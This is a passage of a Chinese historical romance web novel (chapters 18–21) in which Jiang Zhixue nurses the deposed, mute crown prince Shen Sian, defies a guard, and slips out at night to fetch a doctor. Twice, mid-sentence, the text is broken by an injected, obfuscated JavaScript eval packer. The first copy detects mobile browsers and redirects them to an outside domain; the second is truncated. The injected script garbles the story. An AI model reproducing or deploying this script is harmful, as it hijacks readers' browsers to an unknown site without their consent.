黑影知他所想,无非妇人之仁,觉得自己拖累了她:“罢了罢了,你开心就好。但若是她对你做了什么不好的事,我定不会手下留情,届时我可不管你答不答应。” 屋外传来脚步声,分明离得很远,黑影立时察觉。 “这次的事我只当她不懂药理,她的那瓶药我已经换了,若她察觉出药物不对劲,那便是她有心害你。”他最后再喂给沈思安一颗丹药,留下这句话便走了。 没一会儿,江知雪端着吃食来了,云双跟在身后端着炭火盆。 江知雪因刚刚的失言感到尴尬至极,连声音都极尽温柔:“殿下,已过晌午,吃点东西吧。” 她将白瓷碗放在一旁的凳上,坐在榻边,尽量避开太子伤处。小心将他扶起。碗中是混合着碎菜叶的白粥。 太子虽不搭理她,但好在情绪平稳,并非传言里性情暴虐。 沈思安靠在江知雪的怀里,后背隔着衣物传来她的体温,嘴边是冒着热气的清粥。那粥温软细腻,喝进嘴里是清浅的菜香,竟还夹杂着一丝咸味。 江知雪脸色愧疚:“抱歉,我不知受伤能吃些什么,阿娘会在我生病时让我吃得清淡,我想清淡些总没错的。眼下条件不允许,只能委屈殿下喝点清粥。” 沈思安已经很久没吃过一顿像样的饭菜了,眼下的粥于他而言如同珍馐。他小心喝着,细细品尝,一碗粥很快就见了底。 江知雪也想到了这点,牢狱中能吃上东西就不错了,眼里不禁流露出怜惜。 沈思安喝完后便不再有动作,可一个成年男子,这么点吃食如何能够? “还要再来一碗吗?”依旧没有反应。 江知雪又舀了一碗,继续耐心喂着。眼见他一口一口吃下,江知雪就知道他果然还是饿着的。 直到三碗粥喝完,再喂时他紧闭双唇,江知雪才停下动作。她心里万分无奈,深刻怀疑太子是不是已经疯了,平静地疯了。 炭火温暖,烘烤着沈思安的身体,加上药效的功力,使他无比困顿。他强撑着不愿睡着,到底力有不逮,不一会儿便沉沉睡去。 18. 恍惚 见太子睡下了,江知雪和云双收拾碗筷出了屋。 “小姐,咱们的吃食最多只能支撑三天,三天后可怎么办?”云双忍不住忧心道。 江知雪看着紧闭的门扉犯了难。她原想着嫁过来时再细细琢磨,将钱花在刀刃上,眼下别说刀刃,连出去都成了问题。 她嘴唇紧绷,良久,才幽幽道:“我来想办法。” 谢怀清自那夜潜入引梅园被黑影击落,一瘸一拐偷偷回府后,便大病了一场。 广平侯第二日下朝听闻此事,气得摔了好几只茶盏。 谢怀清醒过来一睁开眼,就见父亲脸色阴沉地站在床边,骇得他又闭上了眼。 “醒了就不必装睡了。”广平侯戳穿他。 谢怀清作势起来告罪,见父亲也没拦着,便意识到了一向疼爱自己的父亲是真动了怒。 待他跪下,广平侯似乎终于酝酿好情绪,指着他的鼻子就骂:“你知不知道自己在做什么?再过两个月便是春闱,你不在家中安心读书,竟跑去找那个野丫头。你难道不知道她已经要嫁给那废太子了吗?” 广平侯越说越生气,踱步至桌边一屁股坐下,斟了盏茶一口饮尽,继续骂道:“平日里让你多和那柳微竹接触接触,三推四请地如同要了你的命。见那野丫头倒是殷勤得很,甚至半夜三更去爬安国公府院墙,还摔成这副鬼样子。” 他将谢怀清从头到脚指指点点了个遍,又拍拍自己的脸:“若是被人发现,你让我这张脸往哪放?啊?” 谢怀清听完父亲一大段训斥,依旧跪得笔直,不卑不亢道:“父亲,从小您便教导我,男儿行事应光明磊落,做人应不畏强权。书院第一课所习便是孔孟之道,教诲我为人端方,克己复礼。所有人都让我做君子,我做到了。可如今,您让我卑躬屈膝,去讨好柳丞千金,一个只知闺阁方寸、毫无远见的女子。” 他抬起头,眼中带着破碎:“我想问问父亲,您考虑过我的感受吗?” “你可曾考虑过广平侯府这一大家子人的感受?”广平侯怒极,声音显得愈发平静,“废太子倒台至今,侯府仍未站队,你兄长又只身一人在户部,群狼环伺,你还如此不知天高地厚。你可知,京城就要变天了。” 谢怀清神情微怔,却依旧不知悔改:“变天又如何?倘若守心明志,未尝不可独善其身。待我春闱高中,侯府就更不必惧怕旁人。父亲明知我所愿,为何非逼我做我痛恨的事情?” 广平侯心中悔不当初,都怪他溺爱谢怀清太过,竟将他养成这般单纯的心性。他痛心疾首道:“一入官场,便是泥沙俱下,岂能独善其身?朝中势力错综复杂,想保持中正,只有死路一条。眼下太子被废,其他皇子不成气候,如今宫中皇后一人只手遮天,我让你接近柳微竹,也是为了你、为了整个侯府。你以为单凭你一身志气就能高中,从此官运亨通?” 广平侯府先祖以军功封侯,在谢怀清祖父那代武学凋敝,遂弃武从文。然其祖父和广平侯武不就文也不成,侯府在谢家二子之前已逐渐式微,空余侯爵头衔。 好不容易长子进了户部,次子在文才上颇有造诣,只等春闱金榜题名,光耀门楣。太子在位时,无人敢拉帮结派使那些腌臜手段;太子一被废,那些人就蠢蠢欲动了起来,拉拢不成便使阴招置人于死地。 侯府早已四面楚歌,若非柳微竹对谢怀清另眼相看,以他们的处境,哪能攀得上如日中天的柳丞。 谢怀清从未考虑过这些。日后兄长承爵,侯府自是有兄长顶着。他向来潇洒,一心只读圣贤书,从不会也不屑于玩弄权术计谋。书中只言为官者当忠君爱民,清正廉洁,他所求也不过证明自己,不靠家族权力,凭自己实力照样能考取功名。 他那不屈的脊梁似乎被压得弯了些许,朝堂的波谲云诡将他的志气砸了个洞,他感到恍惚。 “你是怎么摔下墙的?”谢怀清武功虽差,但绝不至于失脚掉下墙,广平侯心中隐隐觉得不对劲。 谢怀清委顿,没多细想就答道:“当时感觉一阵劲风袭来,随后肩头吃痛,就……”结果他没好意思说出口。 “那便好好歇着吧,春闱之前哪儿也不许去。”广平侯神色难辨地命令道,转身瞬间,脸色凝重如能滴墨。 一个从前闻所未闻的粗鄙庶女,拘在后宅,如何识得身怀功夫的人?除非……或许有更容易投靠柳丞的法子了。 第二日,降雪骤停,狂风大作。江知雪冒着寒风在院内敲门,双手冻得通红。 “大人,能否通融一下,眼下宅内已无吃食,再这样下去会被饿死的。” 门外无人应声。 江知雪开始利诱。可她手中那点银子,不够皇后给他们打牙祭的,所有人皆是嗤之以鼻。 厚重木门外依旧鸦雀无声。可透过门缝,分明见官兵在两侧把守,粗重的铁链一圈圈缠绕着铺首,压得人喘不过气。 好话已说尽,银子不好使,江知雪双手紧握,神情严肃,几次深呼吸,目光锐利地盯着木门,好像面对的不是木门而是一个上位者。她薄唇轻启,声音清缓却有力量。 “你们可以不顾我的死活,但废太子病重危在旦夕,不日便要启程前往北陵,李公公昨日亲自嘱托我好生照顾,圣上绝不允许他在此之前死去。若在这宅院中饿死病死,我不敢去想大人们的结果……” 话未至尾音,门外锁链抽动,激起一片“哗啦”声,震得铺首阵阵作响。 门被轰然推开,一柄长剑横在江知雪的颈项,剑身在雪的映衬下闪着白光。 “一个乳臭未干的小丫头,也敢威胁起老子来了!” 那官兵人高马大,眼神凶狠,出剑干脆利落,绝非寻常守卫。 江知雪后背冒出冷汗,掩在袖中的手指指甲几乎掐进肉里,才勉强止住全身颤栗。 “小姐!”云双在一旁惊呼,就要冲上去护着江知雪。 “想让你家小姐死是不是?” 剑身往前一寸,拨开江知雪衣领,贴上她的皮肤。 冷意刺激着她的理智,她第一次真真切切感受到死亡的威胁。 江知雪眼神示意云双不要动,随后闭上眼睛,平复内心巨大的恐惧。 官兵还在骂骂咧咧:“老子在行伍多年,谁见了不得喊一声大哥,想不到现在竟被这小娘们咒着死。”他声音带笑,斜睨着眼看她,对身后另一个守卫说道,挑衅味十足。 卧房内,沈思安眼神幽暗,手中银针隔着漏风窗户直指那官兵脖颈。一旦有异动,他必会在对方动手之前了结他。 不过几息,江知雪睁开眼,恢复镇定。她抬头看着他,回以微笑:“我已说过,我的死事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16296527|180836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,左右不过一个牺牲品,大人与我不同。若您送吃食来了,废太子死了,只会降罪于我一人;若您未有送吃食,届时圣上大怒,黄泉路上咱们所有人为伴。” 眼前丫头声音不大,却掷地有声,一双眼睛清泠泠的透着坚定,一副视死如归的样子,让他有一瞬间的愣神。 那官兵回过神来恼羞成怒,竟被一个丫头片子唬住:“你倒是提醒了我,只要废太子活着就万事大吉,你死不死的无关紧要。吃食我明日自会送到,不过你既一心求死,老子今日就成全你。” 他嘴角带着戏谑的笑,眼里闪过兴奋。 剑刃已割开江知雪的脖颈皮肤,她能清晰感觉到一股热流缓慢流出。 江知雪脸色苍白,双手不自觉颤抖,全身血液几乎凝固,一颗心跳到了嗓子眼。原以为能忽悠成功,没想到对面这般聪明,怕是今日难逃一死。 身后另一个官兵眼瞧着大哥真动了杀心,赶紧上前阻止:“大哥,大哥!您且等等。” 他呼喊着跑到大哥身边,耳语道:“昨晚咱们都瞧见了,那废太子似乎真的快不行了,万一没被饿死,却病死了,皇后那边咱们没法交差。不如先放她一马,让她顶在咱们前边。若废太子真没事,出城前再将她杀了也不迟。” 净逞匹夫之勇,无论死谁都有麻烦,他可不想受牵连。 听到“皇后”,持剑官兵面色几变。皇后特地交代,要确保废太子活着出城。 他沉默许久,最终愤恨道:“今日是他替你求情,加上你这幅分明怕得要死又倔强的样子真是让我高兴,老子便不杀你了。再有下次,可没有这般好运。” 可他的神情着实算不上高兴。 脖间长剑移开,带出一串血珠。那官兵深深地看了江知雪一眼,转身就出了宅院。 “明日自会有人送来吃食,若再胡搅蛮缠,总得吃点苦头的。”另一位官兵用手指指她的脖子,意有所指。 大门重新落锁,江知雪浑身气力仿佛都被抽走。 云双快步过去搀扶住她,担忧道:“小姐……” 江知雪抬手制止:“回屋再说。” 甫一回屋,江知雪便瘫坐在凳子上,右手抚着心口,大口大口喘着气。她浑身冰冷,衣衫湿透,犹如溺在水中,打着寒战。 “小姐,这就是你想的法子吗?”云双泪眼汪汪,心疼地揭开江知雪的衣领:“这么长的口子,都流了这么多血,我好怕他……,要真如此,我也不活了。” 江知雪缓了好久,才将自己从水中捞起。她也落了泪,就着云双查看她伤口的动作,将头靠在云双身上,失声痛哭:“是我低估了他们,我以为他们最多是装作没听见,这样我们就不会寄希望于他们,就能另寻他法。” 她感到后怕:“我不该抱着侥幸,他们是官,是兵,怎么会管我们的死活,会管被废的太子的死活……” 这是江知雪第一次感到恐惧,对死亡深深地恐惧。她觉得自己从前对安国公放的狠话如同笑话,她不想死,不愿死。 脖颈传来刺痛,她脑中纷杂,想到了阿娘,不知她们如今怎么样了?又想到了里屋的太子,一身伤病,在天牢那么久,整日面对着死亡的恐惧,又是如何煎熬至今? 里屋突然传来沉闷声响,似有重物落地的声音,打断了她的思绪。 19. 夜狩 江知雪脸上挂着泪,和泪眼汪汪的云双对视一眼,二人皆匆匆往里屋走去。 沈思安倒在榻边地上,身体蜷缩着。 “殿下!发生什么事了?”江知雪快步走近蹲下身,就见太子眉头紧锁,面露痛苦,嘴角和衣领沾着血迹。 她登时被吓了一大跳:“云双,快来搭把手。” 二人手忙脚乱将人抬回榻上,江知雪又吩咐云双备些热水过来。 明明昨日清理伤口和上药那么痛,他都没有反应,怎么突然痛苦成这样,甚至吐了血。她的一颗心简直乱跳,比之前官兵剑指自己时更甚。 江知雪拿布巾擦去太子嘴边血迹,心里不住祈祷,太子可千万不能有事。 若是外伤,她还能用药医治,可眼下吐血,她完全一筹莫展。她又从行囊中取出早前购置的医书,急切翻弄,妄图从中寻到分毫线索。 方才那官兵的细微动作,沈思安悉数听在耳里,几乎是对方剑刃划过江知雪脖颈皮肤的瞬间,内力凝聚指尖,银针亟待发出。 倘若放在从前,早在官兵将剑架在江知雪脖子时,他便会结果了对方。 可眼下重伤在身,外围重兵把守,形势被动。更何况他现如今不过是一个手无寸铁、被废又哑的废人,所思所行必须慎之又慎。除非江知雪有生命危险,否则他断不能出手。 银针几欲脱离指尖,直冲那官兵而去,却不想有人出声阻止。 指尖微动,银针钉入墙壁。 霎时间,五脏六腑传来剧痛,暴动的内力仿佛要将他撕裂。沈思安的脸色越发惨淡,直到再也忍不住,口中喷出鲜血滚落地面。 他双目紧闭,牙关紧咬,浑身发着虚汗,已然陷进无边梦魇之中。 眼前一片虚无,无光的日子卷土重来。 恍惚中他又回到过去四面黑暗的囚牢。夫子高声赞颂的圣人之道犹在耳边回响,手中利剑刺穿同伴的胸膛,血液溅在身上、脸上,灼人的热意快要将他烫伤。 训斥、怒骂与鞭笞,锁链、疼痛与流血,夫子的失望与同伴的惨叫在脑海中交织、混杂,无时无刻摧残着他的理智。 “熬过去、撑下去。”他在虚无中一遍遍重复。 眼前突然大亮,一女子站在光中,身着明黄凤袍,明艳又端庄。她微蹲下身向他招手,笑容温暖又慈爱。 脑中有个声音在说:“不要过去,不要过去。”他亦看着自己满身脏污和血痕,踟蹰着。 “我是母亲,快过来呀。”那女子仍旧耐心等着,声音柔得似春水。 他听见自己说:“母亲……”,随后不顾一切向她奔去。 距离她十步、五步、三步,鲜血飞溅,浇得他满身满脸,夫子和教习大睁着眼倒在血泊之中。他目眦欲裂,抬头看向母亲,那温柔笑着的人却只剩面目狰狞。 原来他们说的母亲是这样的存在吗? 记忆纷杂,碎如尘沙。沈思安呼吸急促,在榻上不安地颤抖着,嘴里无声说着什么。 江知雪凑过去听,什么也没听到,才又惊觉太子是被毒哑。她见过先天不能说话的人,但总归还能发出声音,可如今太子,竟是连一点声音都发不出。 形销骨立,伤痕累累,躺在榻上脆弱得一碰就碎。 医书中说吐血乃是郁结于心,江知雪按药方煎药,喂他服下,却丝毫不起作用。 她只能一遍遍擦拭着他的脸,期盼他能冷静下来。 天渐渐暗淡。云双端来饭菜,心疼不已:“小姐,天黑了,先用点饭吧,你的午膳就没吃。” 江知雪面露疲惫,声音都透着憔悴:“抱歉,明明说好今日我下厨,最后还是麻烦你了。”可她手上的动作却未停。 “你又说这些,都显得与我生分了。”云双不赞同道,“我来替你,你也受着伤呢,这么久了还未处理,害我担心。” “不过是擦破点皮,没什么大碍,等殿下好些了我再处理也不迟的。”江知雪把布巾递给云双,顺道捏了捏她的肩。 云双知道小姐性子倔,一旦认定的事很难更改,只好又说出那句她说了很多次的话:“你总是这样。” 饭菜可口,香味诱人,是云双按照江知雪的口味做的。分明饿了快一天,江知雪还是只吃了几口便再也吃不下。 窗外已经完全黑了,衬得室内烛火越发明亮。 “不能再等下去了。”太子依旧没有任何好转迹象,江知雪真怕再拖下去,他就这么没了。 他要是没了,她和云双也会没的。 江知雪看向云双,目光坚定:“我得出去,我得寻大夫。” 云双错愕了,方才只说小姐性子倔,现在直接如此莽撞了吗?“小姐,外面官兵那么多,将这破宅院围得铁桶似的,如何出得去啊?” “他们不可能一天十二个时辰都守在这里,总有换班的时候。我们找准这个空档偷偷溜出去。”江知雪说的信誓旦旦,云双却觉得小姐疯了。 “大门锁死,怎么溜出去?” “翻墙。” 月亮悄悄挂上树梢,洒下一层轻薄光辉,照得墙上冰雪晶莹。 四周静悄悄一片,江知雪双手抓住墙沿,握住满手冰雪,冻得她思绪清明。 外面官兵似乎已换过一批,有不少人因黑夜与寒冷悄摸打起了盹,但绝大部分还在坚守岗位。 江知雪的心凉了半截。 她的手已经冻僵,一时不察竟挥掉了墙头的雪。 雪花争先恐后扑簌簌往外掉去,有官兵出声大喊:“是谁?” 一石激起千层浪,更多官兵聚了过来,他们目露警惕,盯着落雪的墙头和四面八方。 甲胄碰撞声和刀剑出鞘声接连响起,有人试图攀墙探查仔细。江知雪早已吓得蹲下身,她死死捂住嘴,不敢发出任何声音。 “嗖——”一支箭矢破空而来,速度之快,令人闪避不及。只听“砰”地一声响,箭尖堪堪擦过一官兵皮肤,穿过甲胄将其钉在木门之上。此人正是守卫统领。 “什么人!胆敢行刺皇家侍卫?”官兵不再顾及江知雪这里,他们迅速列队,向门口靠去。 那统领拔下肩处箭簇,怒目瞥了一眼。只一眼,就叫他面色凝重,玄铁簇,漆金羽:“是黄泉引路使。” 所有人都闻之变色。 黄泉引路使是玄影楼中人的代称,听闻此楼建渊林绝壁之上,隶属江湖组织,专做悬赏杀人的买卖,目标大多是朝中有头脸的大人物。楼中人皆穿玄甲、覆铁面,声形多变,行踪不定。 起初人们只称其为铁面人,因他们每次杀人前都有“送你入黄泉”的口癖,渐渐变成了“黄泉引路使”。 传闻他们个个武功高强,嗜杀残暴,爱看追杀目标困兽犹斗、垂死挣扎,且几乎从不失手。 朝中曾多次派人搜寻围剿,却始终不能得知玄影楼下落。 距离黄泉引路使上次出现已是三年多前,从那之后便销声匿迹。在所有人都快忘记江湖还有这号人物的时候,竟又出现了,还是刺杀守卫官兵这等小人物。 江知雪没听过也不管这些,眼见所有人都往门口去了,她赶紧重新抓住墙沿翻上墙,鼓足勇气跳了下去,然后没命地往相反方向跑去。 身后远远地传来黄泉引路使雌雄莫辨的声音:“李统领原来躲在这儿,有人出重金要你人头……” 寒风呼呼吹着,刮得江知雪的脸生疼。 她们所居的宅院后面根本没有路,她毫不犹豫钻进密林,在里面绕了好久才找到通往草市的道路。 这是她第一次走夜路,更是第一次踏足密林。枝叶割破她的衣衫,划破她的皮肤,她全然不顾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当时城中各处医药馆还众筹举办宴席,感念太子恩情。如今竟是墙倒众人推。 江知雪接连受挫,已经心灰意冷。 远处有一家医馆亮起火光,她想着,再去这最后一家吧,若再被拒绝,她就回去了,她们二人是死是活,只能看太子造化了。 那家医馆不大,却格外温暖。坐堂的是一位唇红齿白、生得俊俏的小郎君,估摸着和谢怀清差不多大。 那小郎君笑着,说话声音也好听:“这位姑娘,看病还是抓药?” 江知雪声音蔫蔫的:“有大夫在吗?” “我就是。”小郎君拍着胸脯,眼中尽是自信。 倒是江知雪讶异,她狐疑地看着他,与他大眼瞪小眼:“我没见过这么年轻的大夫……” “所谓技高者为师,无关年长年幼。在下自幼习医,遍访河山,治人无数。眼下是为亲戚在此看诊几日。”小郎君说的态度谦逊,一句话却是将自己从头到脚夸了一遍。 当然,也成功唬住了江知雪。她迟疑了一会儿,才小声说道:“不知大夫能否出门看诊?” “医者仁心,自当可以。” “地处偏远……” “无妨。” “外面有人把守,进宅院可能得花些时间……” “不成问题。” “是为废太子沈思安看病。”江知雪见对方答得痛快,眼里绽放出希望的光,干脆直接说出自己最终目的。 空气沉默了,小郎君眉头紧锁,似在纠结着。 江知雪眼中的光没了,一颗心彻底沉寂,就在她准备放弃的时候,对面突然大声回答:“当然可以!” 说着就收拾起药箱,声音染上焦急:“你怎么不早说是为沈兄看病?他是什么症状,你快快说与我听,我备些药材。” 江知雪赶紧将事情发生经过与太子症状都说了出来,一颗心也跟着跳得飞快。 黑影背对着她拾掇药材,听着她的描述,一张脸越来越黑,拿药材的手紧握,掌心草药瞬间化为齑粉。 「好你个沈思安,真是一天一个作法,不把自己作死不罢休是吧。」他气得要死,转过身却对三小姐笑得愈发温和:“在下已收拾妥当,这位姑娘,我们快快走吧。” 20. 启程在即 黑影原以为和女子行走总要耽误很长时间,不想三小姐速度倒是快得很,观她行色匆匆、形容狼狈的模样,估计对沈思安还是有几分关心的,之前的坏印象也减少了些许。 除了谢怀清,江知雪从未和其他年轻男子单独走过路,还是夜路。虽心里挂念着太子的病情,但难免感到尴尬。 "可否请教大夫名姓?"清如幽泉的嗓音打破了一路寂静,江知雪的神情略有些不自在。 做戏做全套,黑影装作满不在乎,口中呼出白气,脱口而出道:“在下明澜,日月明,波澜的澜。” 江知雪礼貌称呼:“明大夫。” 小路坑坑洼洼,明显难走,明澜却走得轻松。 远处隐隐有火光闪现,宅院门口聚集了大量人马,除却守卫,甚至官府也来了人。 江知雪一把拉住还欲往前走的明澜,轻声急切道:“别这么走,会被发现的。” 明澜感到疑惑:“姑娘之前不是从这里走出来的吗?”他指指宅院大门。 “我是……我是翻墙出来的。”江知雪有些难堪,随后紧紧盯住对方,生怕他逃走似的,郑重说道:“明大夫您放心,我必定全须全尾地将您带进去,完好无损地将您送出来。” 其实她心里一点儿谱都没有,能不能进去都难说。若是被发现,就是拼死她也得把明大夫送走。 江知雪指着密林:“我们从这里走,绕到屋后再翻墙进去。” “不可不可不可。”明澜连连拒绝,压低了声音:“如此火光冲天,只怕是发生了什么大事,估计院前屋后都有官兵守着。” “那……”江知雪的话还未问出口,就听宅院那边响起敲门声,有人大声说话:“开门开门!大理寺办案。” 江知雪心道不好,屋内只有云双守着,若被人发现她逃出了府,指定吃不了兜着走。 “跟我来。”明澜拉着江知雪掉头就走。 "啊?"江知雪懵了,下一瞬便想极力挣开:“不能走,太子和云双还在里面呢!” 明澜的手劲大得很,犹如一把铁钳,将她牢牢抓住挣脱不得。 和三小姐演戏已经耽误太多时间,既已决定过来,便是免不了要将通道告知她。他一路疾奔,声音透着难以察觉的寒意:“在下知道一处暗道,可直接通往宅院。” “您如何知晓?”江知雪抓住了重点。 “姑娘之前可没告诉我是逃出来的。”抓重点嘛,他也会。 眼看三小姐露出了一丝歉意,明澜趁此机会晓之以理动之以情:“官兵就要进门寻你了,在下本可以不管不顾一走了之,奈何医者父母心,我见不得沈兄出事,亦见不得你遭难,这才将暗道一事告知于你。眼下事态紧急,咱们还是先进去再说。” 江知雪觉得言之有理,于是不再挣扎,跟着他一路疾行。 暗道藏于小路分岔,浓密枝木掩盖了它。入口处青苔厚重,一看就是鲜有人踏足。内里以石为墙,干燥寒冷,阴风阵阵。 所幸道路并不复杂,明澜带她以最快的速度赶至宅院,出口竟就在房中几近烂掉的木柜后。 灰尘扑簌簌落下来,蛛网罩得满头满脸。二人挥舞着手往外走。 云双焦急的脸上写满了惊讶:“小姐,你怎么从柜子里出来了?还有他是……大夫?”她惊疑不定地看向明澜抓着小姐胳膊的手。 明澜敏锐,立刻拿开了他的手:“抱歉,事出有因,唐突姑娘了。” “先别说这些了,小姐,外面大人正在前厅,我以您起床梳妆为由才拖住,现下已等候多时,咱们快些过去吧。” “好,我换件衣服,你先过去,就说我马上就到。”江知雪此刻衣衫、发髻都是乱的,脸上也有刮伤,怎么看都不是梳过妆的样子。 她转头看向明澜:“明大夫,您先寻个地方避一避,我怕他们会进来探查。” “好,在下也正有此意。” 江知雪匆忙收拾完毕,就往前厅赶去。 厅内正中凭空出现一把太师椅,上头坐着一位身穿官服之人。原以为大理寺的大人都是经验丰富的年长者,眼前这位却过分地年轻。 朗目疏眉,正气凛然。可他眼下明显不耐烦。 江知雪走上前跪拜于地:“民女拜见大人。” “安国公府三小姐,废太子发妻,”他高坐太师椅上,上下打量地上跪着的人,声音听不出情绪,“可是让我好等。” 江知雪亦不动声色:“睡梦中起身,仪容不整,恐唐突大人,绝非民女本意。” “抬起头来。” 江知雪依言抬头,眼睛仍旧看着地面。 大人从太师椅上站起,步子不紧不慢,在江知雪身前站定。 他俯下身,细细观察着她的脸,眼光锐利如刀。“你说你此前睡下才起身,那你脸上的伤是怎么回事?”声音如同钩子,引诱人道出实情,却又掺杂着有如实质的压迫。 江知雪闻言,镇定自若的脸上情绪几变,最终惨淡下来,眼中透着灰败:“不愧是大理寺的大人,真是什么都瞒不过您。想必大人也听到过坊间传闻,说那废太子残暴无度。我原是不信的,可您也看到了,我这脸就是拜他所赐。”她的眼中溢出愤恨,心里在给太子道歉磕头。直把旁边的云双看得一愣一愣的。 那划伤明显不是人为。 大人贴近她耳边,嗓音压低含了笑:“有趣。若非公事在身,本官定当好好款待三小姐,听听你的妙语连珠。不过今日我对你和废太子之间的事不感兴趣,”他说着又直起身,声音恢复了之前的样子,“外头的李统领死了,你知不知道?” 江知雪猝然抬眼,里头盛满了意外:“什么?”她离去前只听得黄泉引路使要他人头的话,只当对方大放厥词,毕竟在她心中官兵总是无往不胜。 “被黄泉引路使割了头,眼下同他的头颅一起不知所踪。”对方眯着眼,仔细盯着她的一举一动。 不是找自己的,江知雪心里松了口气,面上依旧演着:“大人觉得我窝藏罪犯?” “并无此意,只是怀疑他躲在此处,还望三小姐成全,准许我等搜查一番。” 江知雪顺从如流,只盼能快点查清,好洗清自己的嫌疑。 结果自是什么都没查到,江知雪恭敬将一行人送走,待门重新落锁,赶紧往里屋跑去。 “大人,就这么放了他们?”寺丞小声询问。 顾疏行十八高中,从边远县邑爬到大理寺少卿的位置,仅用了三年。 他行事果决,为人端方,思虑长远,不会放过任何蛛丝马迹,追索案情更是铁面无私,不明真相决不罢休,为大理寺中人敬仰。 而此刻他只是笑笑,毫不在意道:“黄泉引路使要杀之人,大理寺也无办法。本官深夜亲自过来,已经够给他们面子了。” 寺丞跟随他三年,清楚知晓他的为人,能让他睁一只眼闭一只眼的只废太子一人,当下便不再多说。 明澜已经在为太子诊治。他面色凝重,在喂太子吃下一颗丹药。 江知雪内心一个咯噔,不自觉紧张起来:“明大夫,他情况如何?” 明澜给他喂完丹药,施完针,才带着松懈的笑说道:“已经稳定了。”心里却将沈思安骂了个半死。 江知雪看着榻上安静睡着的太子,总算真正放松下来,她对着明澜深深福了一礼,感激道:“多谢明大夫,您的大恩大德我铭记于心,来日必定报答。” 又从包裹中取出银两,“不知这些够不够?” 明澜大方地摆摆手:“相逢即是缘,何况所救之人是沈兄,哪有收钱的道理。” “明大夫与太子是旧相识?”江知雪顺着他的话,终于问出之前便想询问的问题。 殊不知这就是明澜故意透露的消息,方便以后有理由光明正大过来。 他哀叹道:“这座宅院在多年前就是沈兄的住所,不远处则是我和母亲当时的居所。我与他在幼时一起玩过一段时间,密道也是一起发现。直到我随母亲离开此处四处游历。再归来时他就成了太子。” 江知雪似乎知道了什么不得了的事情,她难以想象现在冷冰冰的太子当初竟会和如此……不拘一格的明大夫一起玩耍过。 “太子小时候是什么样的人?” 明澜收拾好一应药材用品,颇为神秘地看了她一眼:“千人千面。”又从怀中摸出一个小瓷罐丢到她手中,指指她的脸:“涂在伤口处,不会留疤的。” 江知雪怔愣了一下,心里愈发感激,她激动道:“得遇明大夫,实属我之幸运,日后若有用得到我的地方,请尽管吩咐,我必结草衔环以相报。” “不必客气,过两日我会再来。”明澜已经开始往暗道钻。 “太子他……得的是什么病?”江知雪在他身后询问。< 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沈思安知道是明澜救了他,但不知道他竟然耍手段将自己暴露给了江知雪。他倏然闭上眼,遮挡眼中快要压不住的寒意。 江知雪误以为太子被戳破了过去的事,感到羞耻才闭上了眼,心里竟觉得他有些可爱。 而后的时间里,明澜果然又过来了多次。最开始他顶着沈思安犹如利剑的眼神为他医治,一贯会说话的嘴不灵光了,只一个劲儿地千解释万道歉。但在顺道蹭了几次江知雪的饭菜后,便什么也不顾了,又恢复了往日的样子,对江知雪的好感也是“蹭蹭”往上增。 江知雪每日除了照顾太子,便是为日后流放做准备。这期间她偷偷从暗道出了几次宅院,为她和云双还有太子购置了一些衣物,和汀溪也顺利搭上了线。 汀溪告知她阿娘和李婶一切都好,二小姐亦挂念着她,让她一切小心。 时间匆匆而过,太子在她和明澜的双重照料下日渐好转,已能下地行走,虽双手仍不能拿住东西,依旧说不了话,但他的情致明显高了不少。即使依旧冷冰冰,对江知雪来说已是喜事一件。 她也曾偷偷询问过明澜,太子的手和声音能否恢复。明澜却摇头叹气,只道无解。 广平侯府,谢怀清被禁足月余,心里没有一刻不是想着江知雪,也越发明白自己心意。 踏出小院门扉,恍如隔世。 他满心欢喜,想去引梅园见见江知雪,表达自己的心悦。贴身小厮却在府门前将他拦住,他抖着声音哀求道:“少爷,您不能去。” “为何?我得告诉她我的心意我的想法,她不能嫁给那个废太子。”谢怀清大力推开小厮,就要往外跑。 “三小姐……三小姐早在一个月前就已经出嫁了。”横竖都是死,说不定说实话,少爷能饶他一命。小厮闭着眼,在身后和他说了实情。 谢怀清顿住,脸上尽是不可置信:“不可能,这不可能,她怎么会……她怎么敢真这么对我。她分明是爱慕我的呀,我一直知道。你是骗我的对不对?和我爹联合起来骗我!”他抓住小厮肩膀,已然魔怔。 那小厮抖如糠筛,却不得不继续说着:“是真的,少爷,大街小巷早就传遍了。” 谢怀清绝望地摇着头,脚步往回走,小厮亦步亦趋跟着,生怕少爷想不开做傻事。 他回到自己的小院,待小厮进来关上门,眼神瞬间发狠。他抽出马鞭,甩在小厮身上,一下又一下,一声又一声。 “我是你的少爷,你居然和父亲一起骗我。为什么!为什么不告诉我她要嫁人的消息,你明知我想要的是什么……你根本没把我放在眼里!”谢怀清双目猩红,额头青筋暴起,在小厮声嘶力竭的惨叫声里,他双目流泪,神情痛苦,放声大笑。 直至最后一刻,小厮仍在道歉和求饶。 谢怀清鞭死小厮的事连侯府都没传出,就被扼死在每个人的心里。 广平侯知晓此事后大怒,又将他关了禁闭,不到春闱出发前不得出。整个侯府噤若寒蝉。 二月底,春寒料峭。江知雪和云双坐在房中,耐心等待明澜为沈思安诊脉的结果。 外面脚步声攒动,大门锁链被抽下。明澜和沈思安对视一眼,正欲开口,门外就响起太监的声音:“废太子沈思安接旨。” 21. 行路难 明澜反应极快,不待江知雪开口就已匆匆收拾完毕,钻进了暗道。 江知雪则和云双手忙脚乱扶起沈思安,往外走去。 沈思安一路低着头。 宣旨的还是上次的李公公,不过这次他的身后带了数十金吾卫。即使沦落至此,圣上对沈思安还是不能放下戒心。 他跪倒在地,头贴至地面,宛如卑微到尘埃,恭听圣谕。 李公公见他气色大好,心中更加满意江知雪。他清了清嗓子,宣读明黄圣旨上写就的废太子此后的人生。 